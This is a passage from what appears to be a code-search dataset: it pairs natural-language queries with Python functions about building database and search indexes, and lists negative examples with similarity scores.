createSpatialIndex(self, schema, table, column):\\r\\n index_name = '{}_{}_idx'.format(table, column)\\r\\n return self.runSql('CREATE INDEX {} ON {} USING gist ({})'.format(index_name, self.encodeTableName(schema, table), self.encodeColumnName(column)))\",\n \"def index(self, model_name, field_name, force=False):\\n model = self.get_model(model_name)\\n field = model[field_name]\\n if 'index' in field:\\n if field['index'] is False and force is False:\\n raise ModelIndexError(\\n \\\"Field definition has index: False. \\\"\\n \\\"Use force=True to override.\\\")\\n collection = self.get_collection(model_name)\\n collection.ensure_index(field_name)\",\n \"def create_index(es_object, index_name):\\n created = False\\n \\\"\\\"\\\" index settings \\\"\\\"\\\"\\n settings = {\\n \\\"settings\\\": {\\n \\\"number_of_shards\\\": 1,\\n \\\"number_of_replicas\\\": 0\\n },\\n \\\"mappings\\\": {\\n \\\"physicians\\\": {\\n \\\"dynamic\\\": \\\"strict\\\",\\n \\\"properties\\\": {\\n \\\"overview\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"full_name\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"years_of_practice\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"language\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"office_location\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"hospital_affiliation\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"specialties\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"education_and_medical_training\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"certification_and_licensure\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n }\\n }\\n }\\n }\\n\\n try:\\n if not es_object.indices.exists(index_name):\\n # Ignore 400 means to ignore \\\"Index Already Exist\\\" error.\\n es_object.indices.create(index=index_name, ignore=400, body=settings)\\n print('Created Index')\\n created = True\\n except Exception as ex:\\n print(str(ex))\\n finally:\\n return created\",\n \"def _compute_tax_id(self):\\n for order in self:\\n order.order_line._compute_tax_id()\",\n \"def build_index():\\n print \\\"building index..\\\"\\n\\n index_dir = INDEX_DIR_CODE\\n if TEST_COLLECTION:\\n index_dir = INDEX_DIR_TEST\\n CR_DOCS_DB.drop()\\n CR_DOCS_DB.ensure_index(\\\"code_id\\\", unique=True)\\n if os.path.exists(index_dir):\\n shutil.rmtree(index_dir)\\n os.mkdir(index_dir)\\n schema = get_schema()\\n storage = FileStorage(index_dir)\\n ix = storage.create_index(schema)\\n w = ix.writer()\\n print \\\"finding posts..\\\"\\n posts_with_code = POSTS_DB.find({\\\"answers.Body\\\": {\\\"$regex\\\": \\\"/.*<code>.*/\\\"}}, timeout=False)\\n print \\\"adding files..\\\"\\n q = add_from_file(w) if TEST_COLLECTION else 0\\n for i, question in enumerate(posts_with_code):\\n if TEST_COLLECTION:\\n q += add_one_code(w, question, q)\\n if q > 999:\\n break\\n else:\\n q += add_doc(w, question)\\n if i % 1000 == 0 and not i == 0:\\n print \\\"commit number:\\\", str(i/1000), \\\"with\\\", q, \\\"codes\\\"\\n w.commit()\\n w = ix.writer()\\n\\n w.commit()\\n posts_with_code.close()\\n print \\\"the index was built!\\\"\\n return ix\",\n \"def write_field(self, fieldname):\\n raise NotImplementedError\",\n \"def index_placetypes(self, file_path):\\n\\n datadir = f'{file_path}/data'\\n logging.debug(\\\"Indexing %s\\\", datadir)\\n\\n docs = []\\n counter = 0\\n for root, _, files in os.walk(datadir):\\n for file in files:\\n if '.json' in file:\\n placefile = os.path.join(root, file)\\n logging.info(\\\"Loading %s\\\", placefile)\\n with open(placefile, encoding='UTF-8') as ifh:\\n doc = json.load(ifh)\\n doc['_index'] = self.index\\n doc['_id'] = doc['id']\\n docs.append(doc)\\n counter = counter + 1\\n\\n if docs:\\n helpers.bulk(self.esclient, docs)\\n\\n logging.info(\\\"Placetypes added %s docs\\\", counter)\\n logging.info(\\\"Finished indexing %s\\\", datadir)\",\n \"def entities_write_index(schema):\\n schema = model.get(schema)\\n return schema_index(schema, SETTINGS.INDEX_WRITE)\",\n \"def index(self, field):\\r\\n\\r\\n try:\\r\\n index = self._field_names.index(unicode(field))\\r\\n except ValueError:\\r\\n raise KeyError(\\\"Field list has no field with name '%s'\\\" % unicode(field))\\r\\n\\r\\n return index\",\n \"def get_full_tax(idx):\\n logging.info('Compiling the taxonomy for all genomes...')\\n tax_idx = collections.defaultdict(dict)\\n for cluster_id,v in idx.items():\\n for tax,vv in v.items():\\n for genome_id,x in vv.items():\\n tax_idx[tax][genome_id] = x['genome_len']\\n n_genomes = 0\\n for tax,v in tax_idx.items():\\n n_genomes += len(v.keys())\\n logging.info(' Total number of genomes: {}'.format(n_genomes))\\n # return\\n return tax_idx\",\n \"def write_index_data(dir,data):\\n db = IndexDb(dir)\\n result = db.write_to_index(data) \\n return result\",\n \"def index_terms(self):\\n [[self.set_postings(term, id) for term in NLProcessor.process(doc)] for id, doc in\\n self.doc_store.dict.iteritems()]\",\n \"def create_indexes(create_func):\\n\\tfor set_name, index_path, index_name in zip(SET_NAMES, INDEX_PATHS, INDEX_NAMES):\\n\\t\\tcreate_func(set_name, index_path, index_name)\",\n \"def fdaAssay(request):\\n\\tip = get_ip(request, right_most_proxy=True)\\n\\tIpAddressInformation.objects.create(ip_address=ip)\\n\\n\\tcontextres =[]\\n\\t#build elasticsearch query to search data\\n\\tquery={\\\"query\\\": {\\n\\t\\t\\\"bool\\\": {\\n\\t\\t\\t\\\"must\\\": [\\n\\t\\t\\t\\t{\\\"match\\\": {\\\"Assays for FDA approved Marker\\\": \\\"Yes\\\"}},\\n\\t\\t\\t\\t{\\\"match\\\": {\\\"UniprotKb entry status\\\": \\\"Yes\\\"}}\\n\\t\\t\\t]\\n\\t\\t}\\n\\t}\\n\\t}\\n\\t#generate random file name to store search result in json format\\n\\tnameFIle=names.get_first_name()\\n\\tjsonfilename=nameFIle+'_basic_search_fda.json'\\n\\tjsonfilepath=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'results', jsonfilename)\\n\\tjsonfileoutput= open(jsonfilepath,'w')\\n\\tjfinaldata=[]\\n\\tes.indices.refresh(index=\\\"mrmassaydb-index\\\")\\n\\t#elasticsearch will search data\\n\\tres=helpers.scan(client=es,scroll='2m',index=\\\"mrmassaydb-index\\\", doc_type=\\\"mrmassaydb-type\\\",query=query,request_timeout=30)\\n\\tjfinaldata=[]\\n\\t#if data is valid based on uniprotkb release then it will display\\n\\tfor i in res:\\n\\t\\tjdic=i['_source']\\n\\t\\tjdic={str(tkey):force_text(tvalue) for tkey,tvalue in jdic.items()}\\n\\t\\tif jdic[\\\"UniprotKb entry status\\\"] ==\\\"Yes\\\" and jdic['UniProtKB Accession'] !='502':\\n\\t\\t\\tjdic[\\\"PPI\\\"] =\\\"View\\\"\\n\\t\\t\\tjdic[\\\"sel\\\"] =\\\"\\\"\\n\\t\\t\\tjdic[\\\"Drug Bank\\\"]=jdic[\\\"Drug Bank\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Drug Bank\\\"]=jdic[\\\"Drug Bank\\\"].replace('<br>','|')\\n\\t\\t\\tjdic[\\\"SRMAtlas URL\\\"]=jdic[\\\"SRMAtlas URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Passel URL\\\"]=jdic[\\\"Passel URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"CPTAC URL\\\"]=jdic[\\\"CPTAC URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"Panoramaweb URL\\\"]=jdic[\\\"Panoramaweb URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\tjdic[\\\"PeptideTracker URL\\\"]=jdic[\\\"PeptideTracker URL\\\"].replace('\\\\\\\\','')\\n\\t\\t\\t#if jdic[\\\"Pathway Name\\\"].lower() !='na':\\n\\t\\t\\t#\\tjdic[\\\"Pathway Name\\\"]=re.sub(r\\\"(\\\\w)([A-Z])\\\",r\\\"\\\\1|\\\\2\\\",jdic[\\\"Pathway Name\\\"])\\n\\t\\t\\tjdic[\\\"Mean Concentration\\\"] =jdic[\\\"Mean Concentration\\\"].replace('fmol/','fmol/µ')\\n\\t\\t\\tjdic[\\\"Concentration\\\"] =jdic[\\\"Concentration\\\"].replace('fmol/','fmol/µ')\\n\\t\\t\\tjfinaldata.append(jdic)\\n\\tes.indices.refresh(index=\\\"mrmassaydb-index\\\")\\n\\t#checking any result generated by database\\n\\tfoundHits=len(jfinaldata)\\n\\t#storing only 10000 rows in json format\\n\\tjson.dump(jfinaldata[:10000],jsonfileoutput)\\n\\tjsonfileoutput.close()\\n\\t# if result found then do other job\\n\\tif foundHits >0:\\n\\t\\tstatsummary=summaryStatcal(jfinaldata) # sent data to this funcation for generating stat\\n\\t\\tpathwaychart=statsummary['pathwaychart']\\n\\t\\tpathwaychart=[i[:2] for i in pathwaychart]\\n\\t\\tspecieslist=statsummary['specieslist']\\n\\t\\ttotallist=statsummary['total']\\n\\t\\tsubcell=statsummary['subcell']\\n\\t\\tgodic=statsummary['godic']\\n\\t\\tjvennprot=statsummary['jevennstat'][0]\\n\\t\\tjvennpep=statsummary['jevennstat'][1]\\n\\t\\tmrmdatabase=statsummary['jevennstat'][2]\\n\\t\\tsortedgodic=OrderedDict(sorted(godic.items(), key=lambda t: t[1])) # sorting GO data\\n\\t\\tupdatedgodic=dict(list(sortedgodic.items()))\\n\\t\\tpepseqdataseries=ast.literal_eval(json.dumps(statsummary['pepseqdataseries'])) #dumping data into json format\\n\\t\\tprodataseries=statsummary['prodataseries']\\n\\t\\tunqisostat=statsummary['unqisostat']\\n\\t\\tjsonfilepathStat=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'statsummary', jsonfilename) #storing stat result in json format\\n\\t\\tjsonfileoutputStat= open(jsonfilepathStat,'w')\\n\\t\\tjson.dump(statsummary,jsonfileoutputStat)\\n\\t\\tjsonfileoutputStat.close()\\n\\t\\turlname=\\\"'/resultFile/jsonData/resultJson/basicsearch/results/\\\"+jsonfilename+\\\"'\\\"\\n\\n\\t\\tcontextindex={\\n\\t\\t\\t\\\"filename\\\":urlname,\\\"colname\\\":json.dumps(colname),'foundHits':foundHits,\\n\\t\\t\\t'pathwaychart':pathwaychart[:11],'specieslist':specieslist,\\n\\t\\t\\t'totallist':totallist,'subcell':subcell,\\n\\t\\t\\t'updatedgodic':updatedgodic,'pepseqdataseries':pepseqdataseries,\\n\\t\\t\\t'prodataseries':prodataseries,'unqisostat':unqisostat,\\n\\t\\t\\t'jvennprot':json.dumps(jvennprot),'jvennpep':json.dumps(jvennpep),'jvennmrmdb':json.dumps(mrmdatabase)\\n\\t\\t\\t}\\n\\t\\treturn render(request,'fdaAssay.html',contextindex)\\n\\telse:\\n\\t\\treturn render(request,'fdaAssay.html',{'foundHits':foundHits})\",\n \"def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\\n\\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\\n field = traj_grp[field_path]\\n\\n # make sure this is a feature vector\\n assert len(field_data.shape) > 1, \\\\\\n \\\"field_data must be a feature vector with the same number of dimensions as the number\\\"\\n\\n # of datase new frames\\n n_new_frames = field_data.shape[0]\\n\\n # check the field to make sure it is not empty\\n if all([i == 0 for i in field.shape]):\\n\\n # check the feature shape against the maxshape which gives\\n # the feature dimensions for an empty dataset\\n assert field_data.shape[1:] == field.maxshape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n # if it is empty resize it to make an array the size of\\n # the new field_data with the maxshape for the feature\\n # dimensions\\n feature_dims = field.maxshape[1:]\\n field.resize( (n_new_frames, *feature_dims) )\\n\\n # set the new data to this\\n field[0:, ...] = field_data\\n\\n else:\\n # make sure the new data has the right dimensions against\\n # the shape it already has\\n assert field_data.shape[1:] == field.shape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n\\n # append to the dataset on the first dimension, keeping the\\n # others the same, these must be feature vectors and therefore\\n # must exist\\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\\n # add the new data\\n field[-n_new_frames:, ...] = field_data\",\n \"def create_index_item(doc, destination_index):\\n\\n action = { 'index' : { '_index' : destination_index, '_type' : doc['_type'] } }\\n data = doc['_source']\\n return action, data\",\n \"def country_lookup(input_file, output_file, field_index):\\n # Load existing output into memory\\n # This is so if script crashes half way through it picks up where it left off.\\n # (Touch output file before starting)\\n existingOutput = []\\n with open(output_file) as read_out_fp:\\n csvreader = csv.reader(read_out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\\n header = next(csvreader)\\n for row in csvreader:\\n existingOutput.append(row)\\n\\n # Main loop over input\\n with open(input_file) as in_fp:\\n with open(output_file, \\\"w\\\", newline=\\\"\\\") as out_fp:\\n csvreader = csv.reader(in_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\\n csvwriter = csv.writer(out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR, quoting=csv.QUOTE_MINIMAL)\\n header = next(csvreader)\\n header.append('COUNTRY-FROM-LAT-LNG')\\n csvwriter.writerow(header)\\n\\n for row in csvreader:\\n\\n # If there is data for this already in output, just use that and don't look up again\\n if len(existingOutput) > 0:\\n\\n existing_row = existingOutput.pop(0)\\n\\n # The existing row we got from output should match the input row we are trying to process\\n # Let's check that!\\n if existing_row[0] != row[0] or \\\\\\n existing_row[1] != row[1] or \\\\\\n existing_row[2] != row[2] or \\\\\\n existing_row[3] != row[3] or \\\\\\n existing_row[4] != row[4] or \\\\\\n existing_row[5] != row[5]:\\n print(\\\"EXISTING ROW PROBLEM\\\")\\n print(', '.join(existing_row))\\n print(', '.join(row))\\n exit(-1)\\n\\n csvwriter.writerow(existing_row)\\n\\n # No data already - we need to look up ourselves\\n else:\\n\\n # Some rows are empty latlng\\n if row[field_index].strip():\\n\\n latlngfielddata = row[field_index].strip()\\n # Some data entries have multiple spaces between lat lng, some have 3,\\n # So this line is done twice to always bring it back to 1 space.\\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\\n lat, lng = latlngfielddata.split(LATLNG_FIELD_SPLIT_CHAR)\\n url = 'http://api.geonames.org/countryCode?lat={}&lng={}&username={}'.format(lat.strip(), lng.strip(), GEONAMES_USERNAME)\\n r = requests.get(url)\\n if r.status_code != 200:\\n print(\\\"API PROBLEM\\\")\\n print(', '.join(row))\\n print(r.status_code)\\n print(r.text)\\n exit(-1)\\n\\n if r.text.strip() == 'ERR:15:no country code found':\\n row.append('')\\n elif r.text.startswith(\\\"ERR\\\"):\\n print(\\\"API PROBLEM\\\")\\n print(', '.join(row))\\n print(r.status_code)\\n print(r.text)\\n exit(-1)\\n else:\\n row.append(r.text.strip())\\n else:\\n row.append('')\\n\\n csvwriter.writerow(row)\\n\\n time.sleep(SLEEP)\\n\\n #exit()\",\n \"def write_to_Index_BM25F(self, term_dict_bm25f, inverted_indexes):\\n for term in term_dict_bm25f.get_keys():\\n if (len(term) > 255):\\n continue\\n\\n cord_uid = term_dict_bm25f.get_value(term)[0]\\n field_dict = term_dict_bm25f.get_value(term)[1]\\n \\n if term in inverted_indexes:\\n inverted_indexes[term][cord_uid] = field_dict\\n else:\\n inverted_indexes[term] = dict()\\n inverted_indexes[term][cord_uid] = field_dict\\n return inverted_indexes\",\n \"def update_index(signum):\\n cdx = redis_cli.zrange('ipfs:cdxj', 0, -1)\\n cdx = ''.join(cdx)\\n buff = BytesIO(cdx)\\n\\n # Add New Index\\n res = ipfs_api.add(CustomNameStream(buff, 'index.cdxj'))\\n print('Updating Index: ' + str(res))\\n\\n # Register with IPNS\\n res = ipfs_api.name_publish(res['Hash'])\\n print res\",\n \"def create_index_tfidf(lines, numDocuments):\\n \\n index=collections.defaultdict(list)\\n tf=collections.defaultdict(list) #term frequencies of terms in documents (documents in the same order as in the main index)\\n df=collections.defaultdict(int) #document frequencies of terms in the corpus\\n idf=collections.defaultdict(float)\\n with Bar('Creating tf-idf index', max=len(lines)) as bar:\\n for key in lines:\\n page_id = key \\n terms = getTerms(lines[key]) \\n\\n ## create the index for the **current page** and store it in termdictPage\\n ## termdictPage in form ==> { ‘term1’: [currentdoc, [list of positions]], ...,‘termn’: [currentdoc, [list of positions]]}\\n\\n termdictPage={}\\n\\n for position, term in enumerate(terms): \\n try:\\n # if the term is already in the dict append the position to the corrisponding list\\n termdictPage[term][1].append(position) \\n except:\\n # Add the new term as dict key and initialize the array of positions and add the position\\n termdictPage[term]=[page_id, array('I',[position])] \\n\\n #normalize term frequencies\\n norm=0\\n for term, posting in termdictPage.items(): \\n # posting ==> [currentdoc, [list of positions]] \\n norm+=len(posting[1])**2\\n norm=math.sqrt(norm)\\n\\n\\n #calculate the tf(dividing the term frequency by the above computed norm) and df weights\\n for term, posting in termdictPage.items(): \\n # append the tf for current term (tf = term frequency in current doc/norm)\\n tf[term].append(np.round(len(posting[1])/norm,4)) ## SEE formula (1) above\\n #increment the document frequency of current term (number of documents containing the current term)\\n df[term] += 1 \\n\\n #merge the current page index with the main index\\n for termpage, postingpage in termdictPage.items():\\n index[termpage].append(postingpage)\\n\\n # Compute idf following the formula (3) above. HINT: use np.log\\n bar.next()\\n for term in df:\\n idf[term] = np.round(np.log(float(numDocuments/df[term])),4)\\n \\n return (index, tf, df, idf)\",\n \"def _init_index(self):\\n\\n if self._check_idx:\\n self._index = bamnostic.bai.Bai(self._index_path)\\n self.__nocoordinate = self._index.n_no_coor\\n self.__mapped = sum(self._index.unmapped[mapped].n_mapped for mapped in self._index.unmapped) + self.nocoordinate\\n self.__unmapped = sum(self._index.unmapped[unmapped].n_unmapped for unmapped in self._index.unmapped) + self.nocoordinate\",\n \"def _add_traj_field_data(self,\\n run_idx,\\n traj_idx,\\n field_path,\\n field_data,\\n sparse_idxs=None,\\n ):\\n\\n # get the traj group\\n traj_grp = self._h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\\n\\n # if it is a sparse dataset we need to add the data and add\\n # the idxs in a group\\n if sparse_idxs is None:\\n\\n # first require that the dataset exist and is exactly the\\n # same as the one that already exists (if indeed it\\n # does). If it doesn't raise a specific error letting the\\n # user know that they will have to delete the dataset if\\n # they want to change it to something else\\n try:\\n dset = traj_grp.require_dataset(field_path, shape=field_data.shape, dtype=field_data.dtype,\\n exact=True,\\n maxshape=(None, *field_data.shape[1:]))\\n except TypeError:\\n raise TypeError(\\\"For changing the contents of a trajectory field it must be the same shape and dtype.\\\")\\n\\n # if that succeeds then go ahead and set the data to the\\n # dataset (overwriting if it is still there)\\n dset[...] = field_data\\n\\n else:\\n sparse_grp = traj_grp.create_group(field_path)\\n # add the data to this group\\n sparse_grp.create_dataset(DATA, data=field_data,\\n maxshape=(None, *field_data.shape[1:]))\\n # add the sparse idxs\\n sparse_grp.create_dataset(SPARSE_IDXS, data=sparse_idxs,\\n maxshape=(None,))\",\n \"def _save_rep_prof_index_internally(self):\\n\\n self.data.solar_meta[self.__solar_rpi_n] = self.data.solar_meta.index\\n self.data.wind_meta[self.__wind_rpi_n] = self.data.wind_meta.index\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6045815","0.59405386","0.57463485","0.564753","0.55667436","0.5516358","0.55148894","0.5372689","0.5284643","0.52227765","0.5101695","0.5095111","0.5091843","0.50435126","0.5030053","0.49656203","0.49575928","0.49503458","0.49441987","0.49435893","0.49207067","0.49207067","0.49113327","0.4903946","0.4882066","0.4873191","0.4873191","0.4867826","0.48639715","0.48436472","0.48415467","0.48336184","0.48291472","0.48253122","0.48165077","0.4815665","0.48148653","0.4799932","0.47933868","0.478966","0.47895953","0.47869977","0.47867864","0.47850764","0.477984","0.4769171","0.47534865","0.47524828","0.4738746","0.47295117","0.4725733","0.47063637","0.46972397","0.46963292","0.46886152","0.46667036","0.4664419","0.46402934","0.46381092","0.46351832","0.4619433","0.4609973","0.46051022","0.4603483","0.45952505","0.45890316","0.4584644","0.4578407","0.45758137","0.45751446","0.45681617","0.45673326","0.45663023","0.45624247","0.4558829","0.45447788","0.45390743","0.45192823","0.45166996","0.45148116","0.4510129","0.45095307","0.4503697","0.4492855","0.44922185","0.44848853","0.44840366","0.44821784","0.44731876","0.44706857","0.4463505","0.44562575","0.44523895","0.44477776","0.4443723","0.44421434","0.44411704","0.44389778","0.44372028","0.44359654"],"string":"[\n \"0.6045815\",\n \"0.59405386\",\n \"0.57463485\",\n \"0.564753\",\n \"0.55667436\",\n \"0.5516358\",\n \"0.55148894\",\n \"0.5372689\",\n \"0.5284643\",\n \"0.52227765\",\n \"0.5101695\",\n \"0.5095111\",\n \"0.5091843\",\n \"0.50435126\",\n \"0.5030053\",\n \"0.49656203\",\n \"0.49575928\",\n \"0.49503458\",\n \"0.49441987\",\n \"0.49435893\",\n \"0.49207067\",\n \"0.49207067\",\n \"0.49113327\",\n \"0.4903946\",\n \"0.4882066\",\n \"0.4873191\",\n \"0.4873191\",\n \"0.4867826\",\n \"0.48639715\",\n \"0.48436472\",\n \"0.48415467\",\n \"0.48336184\",\n \"0.48291472\",\n \"0.48253122\",\n \"0.48165077\",\n \"0.4815665\",\n \"0.48148653\",\n \"0.4799932\",\n \"0.47933868\",\n \"0.478966\",\n \"0.47895953\",\n \"0.47869977\",\n \"0.47867864\",\n \"0.47850764\",\n \"0.477984\",\n \"0.4769171\",\n \"0.47534865\",\n \"0.47524828\",\n \"0.4738746\",\n \"0.47295117\",\n \"0.4725733\",\n \"0.47063637\",\n \"0.46972397\",\n \"0.46963292\",\n \"0.46886152\",\n \"0.46667036\",\n \"0.4664419\",\n \"0.46402934\",\n \"0.46381092\",\n \"0.46351832\",\n \"0.4619433\",\n \"0.4609973\",\n \"0.46051022\",\n \"0.4603483\",\n \"0.45952505\",\n \"0.45890316\",\n \"0.4584644\",\n \"0.4578407\",\n \"0.45758137\",\n \"0.45751446\",\n \"0.45681617\",\n \"0.45673326\",\n \"0.45663023\",\n \"0.45624247\",\n \"0.4558829\",\n \"0.45447788\",\n \"0.45390743\",\n \"0.45192823\",\n \"0.45166996\",\n \"0.45148116\",\n \"0.4510129\",\n \"0.45095307\",\n \"0.4503697\",\n \"0.4492855\",\n \"0.44922185\",\n \"0.44848853\",\n \"0.44840366\",\n \"0.44821784\",\n \"0.44731876\",\n \"0.44706857\",\n \"0.4463505\",\n \"0.44562575\",\n \"0.44523895\",\n \"0.44477776\",\n \"0.4443723\",\n \"0.44421434\",\n \"0.44411704\",\n \"0.44389778\",\n \"0.44372028\",\n \"0.44359654\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.579337"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":14491,"cells":{"query":{"kind":"string","value":"Calculates an index for 'field_name' per tax zone and write to"},"document":{"kind":"string","value":"def writeTotalIndex(map_data):\n ids = map_data['id']\n index = [0.0] * len(ids)\n\n colnames = ['cars', 'bikes', 'ages', 'parking', 'male_singles',\n 'female_singles', 'digging', 'freeparking']\n weights = [-0.5, 0.5, 0.1, -0.5, 1.0, 1.0, -1.0, 0.25]\n for colname, weight in zip(colnames, weights):\n values = map_data[colname]\n\n index += values * (weight / values.max())\n\n toJson('final', pd.DataFrame({'id': ids, 'counts': index}))"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def _do_index_fields(self, doc, generator, obj, obj_weight):\n for field in self.fields + self.tags:\n # Trying to resolve field value or skip it\n # Отладочка:\n # print(field, field.resolve(obj))\n try:\n value = field.resolve(obj)\n if value is None:\n continue\n except AttributeError:\n continue\n if field.prefix:\n fvalue = field.convert(value)\n doc.add_value(field.number, fvalue)\n prefix = smart_text(field.get_tag())\n value = smart_text(value)\n generator.index_text_without_positions(value, field.weight*obj_weight, prefix)\n if prefix: # if prefixed then also index without prefix\n generator.index_text_without_positions(value, field.weight*obj_weight)","def create_index():","def writeIndex(map_data, field_name, maximize=True):\n ids = map_data['id']\n values = map_data[field_name]\n\n nominal_weight = 1.0 if maximize else -1.0\n index = values / (nominal_weight * values.max())\n\n toJson(field_name, pd.DataFrame({'id': ids, 'counts': index}))","def define_index_field(DomainName=None, IndexField=None):\n pass","def rebuild_index():\n print('Building indexes...')\n print(data_fldr)\n ndx = []\n for root, _, files in os.walk(data_fldr):\n for f in files:\n if f[-3:].upper() in ['CSV','TXT']:\n ndx.extend(get_index_terms(root + os.sep + f))\n with open(ndx_file, 'w') as fio:\n for i in ndx:\n fio.write(i + '\\n')","def create_location_index():\n get_rsvps_database().groups.create_index([(\"location\", GEOSPHERE)])","def reindex_subcomponent_taxa():\n pass","def build_index(self):\n \n \n geoids = self.partitions.find_or_new(table='facilities_geoids')\n addresses = self.partitions.find_or_new(table='facilities_addresses')\n facilities = self.partitions.find(table='facilities')\n \n facilities.attach(addresses,'addresses')\n facilities.attach(geoids,'geoids')\n \n q = \"\"\"\n SELECT year, type, oshpd_id, facility_name, dba_city, dba_zip_code, blockgroup_gvid, tract_gvid, county_gvid\n FROM facilities\n JOIN geoids.facilities_geoids AS geoids ON geoids.facilities_id = facilities.id\n JOIN addresses.facilities_addresses AS addresses ON addresses.facilities_id = facilities.id\n \"\"\"\n \n p = self.partitions.find_or_new(table='facilities_index')\n p.clean()\n lr = self.init_log_rate()\n \n with p.inserter() as ins:\n for row in facilities.query(q):\n ins.insert(row)\n lr(str(p.identity))","def create_index(args, client):\n policy = {}\n client.index_geo2dsphere_create(args.nspace, args.set,\n LOCBIN, LOCNDX, policy)\n client.index_integer_create(args.nspace, args.set,\n HSHBIN, HSHNDX, policy)","def build_index():\n pass","def reindexed_dataframe(self):\n tmp = self.metric.copy()\n tmp.index = tmp.index.map(self.match_regions())\n #give the same index order as the geojson\n out = tmp.reindex(index = self.regions_names())\n return out\n #index_name = out.index.name\n\n #return out.reset_index().dropna().set_index(index_name)[self.metric.name]","def generateForcingFields(self, conc_idx, inputs, outputs):\n\n\t\tForcing.log(\"Running %s.generateForcingFields()\"%type(self))\n\n\t\t# Some variable used later\n\t\tscalar = None\n\n\t\tif self.griddedTimeZoneFld == None:\n\t\t\t# Assume all timezones are GMT\n\t\t\tprint \"Warning! No gridded time zone information loaded. Using a field of zeros.\"\n\t\t\ttz = np.zeros((self.ni,self.nj))\n\t\telse:\n\t\t\ttz = self.griddedTimeZoneFld\n\n\t\tif len(self.species) == 0:\n\t\t\traise NoSpeciesException(\"Must specify species\")\n\t\t\treturn\n\n\t\t# We doing time averaging?\n\t\tif self.averaging in ['AVG_MAX', 'AVG_MAX8', 'AVG_MAX24']:\n\t\t\tdo_averaging=True\n\t\t\taveraging_window = self.averaging_window\n\t\telse:\n\t\t\tdo_averaging=False\n\t\t\taveraging_window = None\n\t\t\t#if self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE'\n\t\t\tif self.averaging == 'AVG_NONE':\n\t\t\t\t# Ensure this is set right\n\t\t\t\tself.timeMask = range(0,25)\n\t\t\t# If it's the mask, then the timemask should already be set\n\n\t\t# Create zero fields to allocate our arrays\n\t\tfld_empty=np.zeros((len(self.species), self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\n\n\t\t# Get the relative days, so [-1 0 1] for [yesterday, today, tomorrow]\n\t\trdays = inputs.keys()\n\t\t# Probably an easiesr way to initalize this since we're only writing later, but for now we'll do it.\n\t\tflds={}\n\t\tfor d in rdays:\n\t\t\tflds[d] = fld_empty.copy()\n\n\t\t# This is NOT efficient. Could probably easily make it\n\t\t# more efficient by implementing some sort of cache though..\n\t\tfor idx_s, species in enumerate(self.species):\n\t\t\t#print \"Iteratiing through species %d=%s\"%(idx_s, species)\n\n\t\t\t# Initialize the data flds. Set to zero if there's a day that doesn't exist\n\t\t\tdatas={}\n\t\t\tfor d in rdays:\n\t\t\t\tif inputs[d] is None:\n\t\t\t\t\tdatas[d] = np.zeros((self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\n\t\t\t\telse:\n\t\t\t\t\tdatas[d] = inputs[d].variables[species][:]\n\n\t\t\t# Recall, mask is already considered in these vectors\n\t\t\tfor k in self._layers:\n\t\t\t\t# I think there's a better way to do the next two loops, don't know it though.\n\t\t\t\tfor i in range(0,self.ni):\n\t\t\t\t\tfor j in range(0,self.nj):\n\n\t\t\t\t\t\t# Spatial mask\n\t\t\t\t\t\tif not self.space[j,i]:\n\t\t\t\t\t\t\t# This is masked out. Set to zero and go to the next cell\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tflds[d][idx_s][0:self.nt,k,j,i] = np.zeros((self.nt), dtype=np.float32)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t#else:\n\t\t\t\t\t\t#\t# TEMP HACK!!\n\t\t\t\t\t\t# # This temp hack is used to ensure the mask is working\n\t\t\t\t\t\t#\tfld_yest[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\n\t\t\t\t\t\t#\tfld_today[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\n\t\t\t\t\t\t#\tfld_tom[0:self.nt,k,j,i] = np.ones((self.nt), 